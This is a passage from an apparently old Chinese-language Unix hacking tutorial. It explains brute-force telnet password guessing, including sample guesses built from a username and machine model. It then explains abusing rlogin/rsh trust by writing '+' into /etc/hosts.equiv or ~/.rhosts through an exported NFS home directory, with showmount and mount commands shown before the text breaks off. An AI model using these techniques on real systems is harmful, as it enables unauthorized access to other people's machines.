    3.1.2.2) 蛮干(brute force):猜测口令
    即使字典破解本质上也是猜,但蛮干的猜法又不同:前者是和passwd文件中的加密口令比较,后者是试图登录,不断敲入口令,直到登录成功为止;前者需要先获得目标机上的passwd文件,后者只需要能连到目标机的telnet端口;前者在本地机器上运行,速度很快,后者则通过网络且手工地一次次猜测,速度很慢。
    许多所谓“黑客”,实际上就是一些对计算机没有多少知识的人,所以他们唯一的方法就是这种“蛮干”法——而真正的黑客,应该是对计算机的技术细节了如指掌,拥有很强的变成能力的高级计算机专业人员,所以,在真正的黑客(Hacker)圈子里,这种只会蛮干的人被不屑地称为“骇客”(Cracker)。黑客与骇客的区别还不仅仅在技术的高下,更在于格调的高下,黑客寻找系统漏洞和尝试攻击的目的主要在于探索现存计算机系统(包括操作系统和应用程序)的安全缺陷,并通过公开他们的发现,促进厂商改进提高计算机系统的安全,和一般厂商出于利益认为公开系统漏洞是对安全的破坏相反,黑客认为隐藏漏洞才是最大的安全隐患,因此信息公开是黑客的信条,只有敢于把一切大白于天下,才有真正的安全,才能最终完善计算机系统和Internet网络。但遗憾的是,软件厂商往往出于私利打算,对自己产品的毛病讳莫如深,采取鸵鸟政策,以为不正视问题问题就不存在了,这真是一种愚蠢的看法 。黑客侵入系统后一般不会进行破坏,相反会给系统管理员留下善意的安全建议,黑客的目的在于发现问题,因此也不会做简单重复的工作,凡是已经解决过的问题绝无兴趣再碰,社会上认为黑客就是关在黑屋子一个个试口令的看法实在是误解。
    但,反过来,蛮干虽然简单乏味,却也并非无效,甚至,在缺乏其他手段或其他手段都失败的情况下,也许是不得不采用的方法。猜测口令的思路有:与用户名相同的口令,用户名的简单变体,机构名,机器型号等等;总之,猜测口令很大程度需要运气和灵感。在用户名很多时,还是有一定希望的,因为总难免个别懒惰的或者记忆力不好的用户把口令设得十分简单。

    e.g. 用户名为cxl,目标主机是一个Sun Ultra30 Workstation:
    可尝试这些口令:cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...

    注意:UNIX口令最长8字节,超过部分无效(这对黑客来说是一件幸事)。

    3.2) r-命令:rlogin,rsh
    r-命令除了rlogin,rsh还有rcp等,但提供Shell的只有rlogin,rsh,因此本节只谈这两者。r-命令和telnet不同,不是用用户/口令的方式来进行认证的,而是用主机/用户号(即IP/UID对)来进行认证,关键在信任关系,一台主机有它所信任的主机和用户,特定主机上的特定用户可以不用输入口令就可以访问登录到该主机上。
    这种信任关系由两个关键性文件定义,即:/etc/hosts.equiv,~/.rhosts文件。
    3.2.1) /etc/hosts.equiv
    如果/etc/hosts.equiv文件中有一个\"+\",那么任何一台主机上的任何一个用户(root除外),可以远程登录而不需要口令,并成为该机上同一UID的用户;

    3.2.2) ~/.rhosts
    如果某用户主目录(home directory)下.rhosts文件中有一个\"+\",那么任何一台主机上的同UID用户可以远程登录而不需要口令

    3.2.3) 改写这两个文件
    改写的目标是在/etc/hosts.equiv或~/.rhosts中添加一行:\"+\";
    3.2.3.1) nfs

    e.g.
    如果某用户的主目录共享出来:
    # showmount -e numen
    export list for numen:
    /space/users/lpf sun9
    /space/users/zw (everyone)
    # mount -F nfs numen:/space/users/zw /mnt
    # cd /mnt
    # ls -ld .
    drwxr-xr-x 6 1005 staff 2560 1999 5
    发布人:netbull 来自:LinuxAid